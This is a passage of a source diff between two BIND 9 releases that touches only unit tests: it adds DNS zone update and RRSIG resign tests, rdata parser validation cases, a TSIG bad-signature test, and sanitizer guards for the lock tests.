ips[i], 16) == 0) { + return i; + } + } + return -1; +} + +static isc_result_t +apply_dns_update(dns_db_t *db, dns_dbversion_t *version, const dns_name_t *name, + dns_rdatatype_t rdtype, dns_rdataclass_t rdclass, uint32_t ttl, + const unsigned char *data, size_t data_len, dns_diffop_t op) { + isc_result_t result; + dns_rdatacallbacks_t callbacks; + dns_rdatalist_t rdatalist; + dns_rdataset_t rdataset; + dns_rdata_t rdata = DNS_RDATA_INIT; + + dns_rdatacallbacks_init(&callbacks); + + result = dns_db_beginupdate(db, version, &callbacks); + assert_int_equal(result, ISC_R_SUCCESS); + + /* Set rdata fields directly without reinitializing */ + rdata.data = (unsigned char *)data; + rdata.length = data_len; + rdata.rdclass = rdclass; + rdata.type = rdtype; + + dns_rdatalist_init(&rdatalist); + rdatalist.ttl = ttl; + rdatalist.type = rdtype; + rdatalist.rdclass = rdclass; + ISC_LIST_APPEND(rdatalist.rdata, &rdata, link); + + dns_rdataset_init(&rdataset); + dns_rdatalist_tordataset(&rdatalist, &rdataset); + + isc_result_t callback_result = callbacks.update(callbacks.add_private, + name, &rdataset, op); + assert_int_equal(result, ISC_R_SUCCESS); + + dns_rdataset_disassociate(&rdataset); + + result = dns_db_commitupdate(db, &callbacks); + assert_int_equal(result, ISC_R_SUCCESS); + + return callback_result; +} + +static void +verify_aaaa_records(dns_db_t *db, dns_dbversion_t *version, + const dns_name_t *name, unsigned char (*ips)[16], + ssize_t expected_count, uint32_t expected_ttl) { + isc_result_t result; + dns_dbnode_t *node = NULL; + dns_rdataset_t rdataset; + bool *found_ips = NULL; + dns_fixedname_t found_fname; + dns_name_t *found_name = dns_fixedname_initname(&found_fname); + + /* Allocate zero-initialized found flags array */ + found_ips = isc_mem_cget(mctx, (size_t)expected_count, sizeof(bool)); + + dns_rdataset_init(&rdataset); + + result = dns_db_find(db, name, version, dns_rdatatype_aaaa, 0, 0, &node, + found_name, &rdataset, NULL); + assert_int_equal(result, ISC_R_SUCCESS); + + /* Check rdataset metadata */ + assert_int_equal(rdataset.type, dns_rdatatype_aaaa); + assert_int_equal(rdataset.rdclass, dns_rdataclass_in); + assert_int_equal(rdataset.ttl, expected_ttl); + + /* Iterate through all AAAA records */ + for (result = dns_rdataset_first(&rdataset); result == ISC_R_SUCCESS; + result = dns_rdataset_next(&rdataset)) + { + dns_rdata_t rdata = DNS_RDATA_INIT; + dns_rdataset_current(&rdataset, &rdata); + + /* Verify this is a valid IPv6 address */ + assert_int_equal(rdata.length, 16); + + /* + * Find whether the IP is in our expected list, and detect + * duplicates. Index will be -1 if the IP is not found. + */ + ssize_t index = find_ip_index(rdata.data, ips, expected_count); + assert_true(index >= 0); + assert_false(found_ips[index]); + found_ips[index] = true; + } + + /* Count found IPs by summing overt the boolean array */ + ssize_t found_count = 0; + for (ssize_t i = 0; i < expected_count; i++) { + found_count += found_ips[i]; + } + + /* Verify we found exactly the expected number of records */ + assert_int_equal(found_count, expected_count); + + dns_db_detachnode(db, &node); + dns_rdataset_disassociate(&rdataset); + isc_mem_cput(mctx, found_ips, (size_t)expected_count, sizeof(bool)); +} + ISC_RUN_TEST_IMPL(setownercase) { isc_result_t result; uint8_t qpdb_s[sizeof(qpzonedb_t) + sizeof(qpzone_bucket_t)]; @@ -220,9 +414,122 @@ assert_true(dns_name_caseequal(name1, name2)); } +ISC_RUN_TEST_IMPL(diffop_add_sub) { + isc_result_t result; + dns_db_t *db = NULL; + + result = dns__qpzone_create(mctx, &example_org_name, dns_dbtype_zone, + dns_rdataclass_in, 0, NULL, NULL, &db); + assert_int_equal(result, ISC_R_SUCCESS); + assert_non_null(db); + + WITH_NEWVERSION(db, version, true) { + apply_dns_update(db, version, &example_org_name, + dns_rdatatype_aaaa, dns_rdataclass_in, 300, + aaaa_test_data[0], 16, DNS_DIFFOP_ADD); + } + + WITH_NEWVERSION(db, version, true) { + result = apply_dns_update(db, version, &example_org_name, + dns_rdatatype_aaaa, dns_rdataclass_in, + 300, aaaa_test_data[1], 16, + DNS_DIFFOP_ADD); + assert_int_equal(result, ISC_R_SUCCESS); + + verify_aaaa_records(db, version, &example_org_name, + aaaa_test_data, 2, 300); + } + + WITH_NEWVERSION(db, version, true) { + result = apply_dns_update(db, version, &example_org_name, + dns_rdatatype_aaaa, dns_rdataclass_in, + 300, aaaa_test_data[0], 16, + DNS_DIFFOP_DEL); + assert_int_equal(result, ISC_R_SUCCESS); + + verify_aaaa_records(db, version, &example_org_name, + &aaaa_test_data[1], 1, 300); + } + + WITH_NEWVERSION(db, version, false) { + result = apply_dns_update(db, version, &example_org_name, + dns_rdatatype_aaaa, dns_rdataclass_in, + 600, aaaa_test_data[0], 16, + DNS_DIFFOP_ADD); + assert_int_equal(result, DNS_R_NOTEXACT); + } + + dns_db_detach(&db); + assert_null(db); +} + +ISC_RUN_TEST_IMPL(diffop_addresign) { + isc_result_t result; + dns_db_t *db = NULL; + + /* Create RRSIG structures and convert to wire format */ + dns_rdata_t rdata1 = DNS_RDATA_INIT, rdata2 = DNS_RDATA_INIT; + isc_buffer_t buffer1, buffer2; + unsigned char rrsig_data1[512], rrsig_data2[512]; + + isc_buffer_init(&buffer1, rrsig_data1, sizeof(rrsig_data1)); + result = dns_rdata_fromstruct(&rdata1, dns_rdataclass_in, + dns_rdatatype_rrsig, &rrsig_test_data1, + &buffer1); + assert_int_equal(result, ISC_R_SUCCESS); + + isc_buffer_init(&buffer2, rrsig_data2, sizeof(rrsig_data2)); + result = dns_rdata_fromstruct(&rdata2, dns_rdataclass_in, + dns_rdatatype_rrsig, &rrsig_test_data2, + &buffer2); + assert_int_equal(result, ISC_R_SUCCESS); + + result = dns__qpzone_create(mctx, &example_org_name, dns_dbtype_zone, + dns_rdataclass_in, 0, NULL, NULL, &db); + assert_int_equal(result, ISC_R_SUCCESS); + assert_non_null(db); + + WITH_NEWVERSION(db, version, true) { + result = apply_dns_update(db, version, &example_org_name, + dns_rdatatype_rrsig, + dns_rdataclass_in, 300, rdata1.data, + rdata1.length, DNS_DIFFOP_ADDRESIGN); + assert_int_equal(result, ISC_R_SUCCESS); + } + + WITH_NEWVERSION(db, version, true) { + result = apply_dns_update(db, version, &example_org_name, + dns_rdatatype_rrsig, + dns_rdataclass_in, 300, rdata2.data, + rdata2.length, DNS_DIFFOP_ADDRESIGN); + assert_int_equal(result, ISC_R_SUCCESS); + } + + WITH_NEWVERSION(db, version, true) { + result = apply_dns_update(db, version, &example_org_name, + dns_rdatatype_rrsig, + dns_rdataclass_in, 300, rdata1.data, + rdata1.length, DNS_DIFFOP_DELRESIGN); + assert_int_equal(result, ISC_R_SUCCESS); + } + + WITH_NEWVERSION(db, version, true) { + result = apply_dns_update(db, version, &example_org_name, + dns_rdatatype_rrsig, + dns_rdataclass_in, 300, rdata2.data, + rdata2.length, DNS_DIFFOP_DELRESIGN); + assert_int_equal(result, DNS_R_NXRRSET); + } + + dns_db_detach(&db); + assert_null(db); +} + ISC_TEST_LIST_START ISC_TEST_ENTRY(ownercase) ISC_TEST_ENTRY(setownercase) +ISC_TEST_ENTRY(diffop_add_sub) +ISC_TEST_ENTRY(diffop_addresign) ISC_TEST_LIST_END ISC_TEST_MAIN diff -Nru bind9-9.20.18/tests/dns/rdata_test.c bind9-9.20.21/tests/dns/rdata_test.c --- bind9-9.20.18/tests/dns/rdata_test.c 2026-01-09 13:39:28.536984131 +0000 +++ bind9-9.20.21/tests/dns/rdata_test.c 2026-03-13 22:01:11.093864818 +0000 @@ -1099,10 +1099,14 @@ dns_rdatatype_amtrelay, sizeof(dns_rdata_amtrelay_t)); } -/* BRIB RDATA - base64 encoded opaque */ -ISC_RUN_TEST_IMPL(brib) { +/* BRID RDATA - base64 encoded opaque */ +ISC_RUN_TEST_IMPL(brid) { text_ok_t text_ok[] = { /* empty */ TEXT_INVALID(""), + /* zero length */ + TEXT_INVALID("\\# 0"), + /* valid base64 string - minimum size */ + TEXT_VALID("AA=="), /* valid base64 string */ TEXT_VALID("aaaa"), /* invalid base64 string */ @@ -1788,43 +1792,43 @@ /* * Known type and known scheme. */ - TEXT_VALID("CDS NOTIFY 0 example.com"), + TEXT_VALID("CDS NOTIFY 0 example.com."), /* * Known type and unknown scheme. */ - TEXT_VALID("CDS 3 0 example.com"), + TEXT_VALID("CDS 3 0 example.com."), /* * Unknown type and known scheme. */ - TEXT_VALID("TYPE1000 NOTIFY 0 example.com"), + TEXT_VALID("TYPE1000 NOTIFY 0 example.com."), /* * Unknown type and unknown scheme. */ - TEXT_VALID("TYPE1000 3 0 example.com"), + TEXT_VALID("TYPE1000 3 0 example.com."), /* * Unknown type and unknown scheme, max port. */ - TEXT_VALID("TYPE1000 3 65535 example.com"), + TEXT_VALID("TYPE1000 3 65535 example.com."), /* * Unknown type and max scheme, max port. */ - TEXT_VALID("TYPE64000 255 65535 example.com"), + TEXT_VALID("TYPE64000 255 65535 example.com."), /* * Invalid type and max scheme, max port. */ - TEXT_INVALID("INVALID 255 65536 example.com"), + TEXT_INVALID("INVALID 255 65536 example.com."), /* * Unknown type and too big scheme, max port. */ - TEXT_INVALID("TYPE1000 256 65536 example.com"), + TEXT_INVALID("TYPE1000 256 65536 example.com."), /* * Unknown type and unknown scheme, port too big. */ - TEXT_INVALID("TYPE1000 3 65536 example.com"), + TEXT_INVALID("TYPE1000 3 65536 example.com."), /* * Unknown type and bad scheme, max port. */ - TEXT_INVALID("TYPE1000 UNKNOWN 65535 example.com"), + TEXT_INVALID("TYPE1000 UNKNOWN 65535 example.com."), /* * Sentinel. */ @@ -2057,6 +2061,10 @@ ISC_RUN_TEST_IMPL(hhit) { text_ok_t text_ok[] = { /* empty */ TEXT_INVALID(""), + /* zero length */ + TEXT_INVALID("\\# 0"), + /* valid base64 string - minimum size */ + TEXT_VALID("AA=="), /* valid base64 string */ TEXT_VALID("aaaa"), /* invalid base64 string */ @@ -2412,8 +2420,7 @@ * RFC 5155. */ ISC_RUN_TEST_IMPL(nsec3) { - text_ok_t text_ok[] = { TEXT_INVALID(""), - TEXT_INVALID("."), + text_ok_t text_ok[] = { TEXT_INVALID(""), TEXT_INVALID("."), TEXT_INVALID(". RRSIG"), TEXT_INVALID("1 0 10 76931F"), TEXT_INVALID("1 0 10 76931F " @@ -2429,9 +2436,38 @@ "AJHVGTICN6K0VDA53GCHFMT219SRRQLM"), TEXT_VALID("1 0 10 - " "AJHVGTICN6K0VDA53GCHFMT219SRRQLM"), + /* 123456789012345678901234567890123456789 */ + TEXT_VALID("2 0 10 - " + "64P36D1L6ORJGE9G64P36D1L6ORJGE9G64P" + "36D1L6ORJGE9G64P36D1L6ORJGE8"), + /* 1234567890123456789012345678901234567890 */ + TEXT_INVALID("2 0 10 - " + "64P36D1L6ORJGE9G64P36D1L6ORJGE9G6" + "4P36D1L6ORJGE9G64P36D1L6ORJGE9G"), TEXT_SENTINEL() }; + wire_ok_t wire_ok[] = { + WIRE_VALID(0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00), + /* maximal hash */ + WIRE_VALID(0x00, 0x00, 0x00, 0x00, 0x00, 0x27, 0x01, 0x02, 0x03, + 0x04, 0x05, 0x06, 0x07, 0x08, 0x09, 0x00, 0x01, 0x02, + 0x03, 0x04, 0x05, 0x06, 0x07, 0x08, 0x09, 0x00, 0x01, + 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08, 0x09, 0x00, + 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08, + 0x09), + /* Too big hash */ + WIRE_INVALID(0x00, 0x00, 0x00, 0x00, 0x00, 0x28, 0x01, 0x02, + 0x03, 0x04, 0x05, 0x06, 0x07, 0x08, 0x09, 0x00, + 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08, + 0x09, 0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, + 0x07, 0x08, 0x09, 0x00, 0x01, 0x02, 0x03, 0x04, + 0x05, 0x06, 0x07, 0x08, 0x09, 0x00), + /* + * Sentinel. + */ + WIRE_SENTINEL() + }; - check_rdata(text_ok, NULL, NULL, false, dns_rdataclass_in, + check_rdata(text_ok, wire_ok, NULL, false, dns_rdataclass_in, dns_rdatatype_nsec3, sizeof(dns_rdata_nsec3_t)); } @@ -3326,12 +3362,15 @@ ISC_TEST_ENTRY(amtrelay) ISC_TEST_ENTRY(apl) ISC_TEST_ENTRY(atma) +ISC_TEST_ENTRY(brid) ISC_TEST_ENTRY(cdnskey) ISC_TEST_ENTRY(csync) ISC_TEST_ENTRY(dnskey) ISC_TEST_ENTRY(doa) ISC_TEST_ENTRY(ds) +ISC_TEST_ENTRY(dsync) ISC_TEST_ENTRY(eid) +ISC_TEST_ENTRY(hhit) ISC_TEST_ENTRY(hip) ISC_TEST_ENTRY(https_svcb) ISC_TEST_ENTRY(isdn) @@ -3341,8 +3380,8 @@ ISC_TEST_ENTRY(nsec) ISC_TEST_ENTRY(nsec3) ISC_TEST_ENTRY(nxt) -ISC_TEST_ENTRY(rkey) ISC_TEST_ENTRY(resinfo) +ISC_TEST_ENTRY(rkey) ISC_TEST_ENTRY(sshfp) ISC_TEST_ENTRY(wallet) ISC_TEST_ENTRY(wks) diff -Nru bind9-9.20.18/tests/dns/tsig_test.c bind9-9.20.21/tests/dns/tsig_test.c --- bind9-9.20.18/tests/dns/tsig_test.c 2026-01-09 13:39:28.544984341 +0000 +++ bind9-9.20.21/tests/dns/tsig_test.c 2026-03-13 22:01:11.101864562 +0000 @@ -438,7 +438,16 @@ assert_int_equal(msg->verified_sig, 1); assert_int_equal(msg->tsigstatus, dns_tsigerror_badtime); break; + case DNS_R_TSIGVERIFYFAILURE: + assert_int_equal(result, DNS_R_TSIGVERIFYFAILURE); + assert_int_equal(msg->verified_sig, 0); + assert_int_equal(msg->tsigstatus, dns_tsigerror_badsig); + break; default: + if (debug) { + fprintf(stderr, "# result = %s\n", + isc_result_totext(result)); + } UNREACHABLE(); } @@ -490,7 +499,7 @@ } ISC_RUN_TEST_IMPL(tsig_badsig) { - tsig_tcp(isc_stdtime_now(), DNS_R_TSIGERRORSET, true); + tsig_tcp(isc_stdtime_now(), DNS_R_TSIGVERIFYFAILURE, true); } /* Tests the dns__tsig_algvalid function */ @@ -509,9 +518,10 @@ } ISC_TEST_LIST_START -ISC_TEST_ENTRY_CUSTOM(tsig_tcp, setup_test, teardown_test) -ISC_TEST_ENTRY_CUSTOM(tsig_badtime, setup_test, teardown_test) ISC_TEST_ENTRY(algvalid) +ISC_TEST_ENTRY_CUSTOM(tsig_badsig, setup_test, teardown_test) +ISC_TEST_ENTRY_CUSTOM(tsig_badtime, setup_test, teardown_test) +ISC_TEST_ENTRY_CUSTOM(tsig_tcp, setup_test, teardown_test) ISC_TEST_LIST_END ISC_TEST_MAIN diff -Nru bind9-9.20.18/tests/include/tests/isc.h bind9-9.20.21/tests/include/tests/isc.h --- bind9-9.20.18/tests/include/tests/isc.h 2026-01-09 13:39:28.545984367 +0000 +++ bind9-9.20.21/tests/include/tests/isc.h 2026-03-13 22:01:11.101864562 +0000 @@ -94,7 +94,7 @@ int setup_test_##name(void **state ISC_ATTR_UNUSED); #define ISC_RUN_TEST_DECLARE(name) \ - void run_test_##name(void **state ISC_ATTR_UNUSED); + static void run_test_##name(void **state ISC_ATTR_UNUSED); #define ISC_TEARDOWN_TEST_DECLARE(name) \ int teardown_test_##name(void **state ISC_ATTR_UNUSED) @@ -123,9 +123,9 @@ int setup_test_##name(void **state ISC_ATTR_UNUSED); \ int setup_test_##name(void **state ISC_ATTR_UNUSED) -#define ISC_RUN_TEST_IMPL(name) \ - void run_test_##name(void **state ISC_ATTR_UNUSED); \ - void run_test_##name(void **state ISC_ATTR_UNUSED) +#define ISC_RUN_TEST_IMPL(name) \ + static void run_test_##name(void **state ISC_ATTR_UNUSED); \ + static void run_test_##name(void **state ISC_ATTR_UNUSED) #define ISC_TEARDOWN_TEST_IMPL(name) \ int teardown_test_##name(void **state ISC_ATTR_UNUSED); \ @@ -137,9 +137,9 @@ ; #define ISC_LOOP_TEST_CUSTOM_IMPL(name, setup, teardown) \ - void run_test_##name(void **state ISC_ATTR_UNUSED); \ - void loop_test_##name(void *arg ISC_ATTR_UNUSED); \ - void run_test_##name(void **state ISC_ATTR_UNUSED) { \ + static void run_test_##name(void **state ISC_ATTR_UNUSED); \ + static void loop_test_##name(void *arg ISC_ATTR_UNUSED); \ + static void run_test_##name(void **state ISC_ATTR_UNUSED) { \ isc_job_cb setup_loop = setup; \ isc_job_cb teardown_loop = teardown; \ if (setup_loop != NULL) { \ @@ -151,7 +151,7 @@ isc_loop_setup(mainloop, loop_test_##name, state); \ isc_loopmgr_run(loopmgr); \ } \ - void loop_test_##name(void *arg ISC_ATTR_UNUSED) + static void loop_test_##name(void *arg ISC_ATTR_UNUSED) #define ISC_LOOP_TEST_IMPL(name) ISC_LOOP_TEST_CUSTOM_IMPL(name, NULL, NULL) diff -Nru bind9-9.20.18/tests/isc/file_test.c bind9-9.20.21/tests/isc/file_test.c --- bind9-9.20.18/tests/isc/file_test.c 2026-01-09 13:39:28.546984393 +0000 +++ bind9-9.20.21/tests/isc/file_test.c 2026-03-13 22:01:11.103864498 +0000 @@ -30,8 +30,8 @@ #include -#define NAME "internal" -#define SHA "3bed2cb3a3acf7b6a8ef408420cc682d5520e26976d354254f528c965612054f" +#define NAME "internal" +#define SHA "3bed2cb3a3acf7b6a8ef408420cc682d5520e26976d354254f528c965612054f" #define TRUNC_SHA "3bed2cb3a3acf7b6" #define BAD1 "in/internal" diff -Nru bind9-9.20.18/tests/isc/mutex_test.c bind9-9.20.21/tests/isc/mutex_test.c --- bind9-9.20.18/tests/isc/mutex_test.c 2026-01-09 13:39:28.548984446 +0000 +++ bind9-9.20.21/tests/isc/mutex_test.c 2026-03-13 22:01:11.104864466 +0000 @@ -77,10 +77,11 @@ #define CNT_MIN 800 #define CNT_MAX 1600 -static size_t shared_counter = 0; -static size_t expected_counter = SIZE_MAX; +#if !defined(__SANITIZE_THREAD__) static isc_mutex_t lock; static pthread_mutex_t mutex; +static size_t expected_counter = SIZE_MAX; +static size_t shared_counter = 0; static void * pthread_mutex_thread(void *arg) { @@ -203,6 +204,7 @@ isc_mem_cput(mctx, threads, workers, sizeof(*threads)); } +#endif ISC_TEST_LIST_START diff -Nru bind9-9.20.18/tests/isc/rwlock_test.c bind9-9.20.21/tests/isc/rwlock_test.c --- bind9-9.20.18/tests/isc/rwlock_test.c 2026-01-09 13:39:28.550984498 +0000 +++ bind9-9.20.21/tests/isc/rwlock_test.c 2026-03-13 22:01:11.106864403 +0000 @@ -52,9 +52,11 @@ #define CNT_MIN 800 #define CNT_MAX 1600 +#if !defined(__SANITIZE_THREAD__) static size_t shared_counter = 0; static size_t expected_counter = SIZE_MAX; static uint8_t boundary = 0; +#endif static uint8_t *rnd; static int @@ -133,6 +135,7 @@ /* * Simple single-threaded lock/tryupgrade/unlock test */ +#if !defined(__SANITIZE_THREAD__) ISC_RUN_TEST_IMPL(isc_rwlock_tryupgrade) { isc_result_t result; isc_rwlock_lock(&rwlock, isc_rwlocktype_read); @@ -341,6 +344,7 @@ isc_mem_cput(mctx, threads, workers, sizeof(*threads)); } +#endif ISC_TEST_LIST_START diff -Nru bind9-9.20.18/tests/isc/spinlock_test.c bind9-9.20.21/tests/isc/spinlock_test.c --- bind9-9.20.18/tests/isc/spinlock_test.c 2026-01-09 13:39:28.550984498 +0000 +++ bind9-9.20.21/tests/isc/spinlock_test.c 2026-03-13 22:01:11.107864371 +0000 @@ -82,6 +82,7 @@ #define CNT_MIN 800 #define CNT_MAX 1600 +#if !defined(__SANITIZE_THREAD__) static size_t shared_counter = 0; static size_t expected_counter = SIZE_MAX; @@ -213,6 +214,7 @@ isc_mem_cput(mctx, threads, workers, sizeof(*threads)); } +#endif ISC_TEST_LIST_START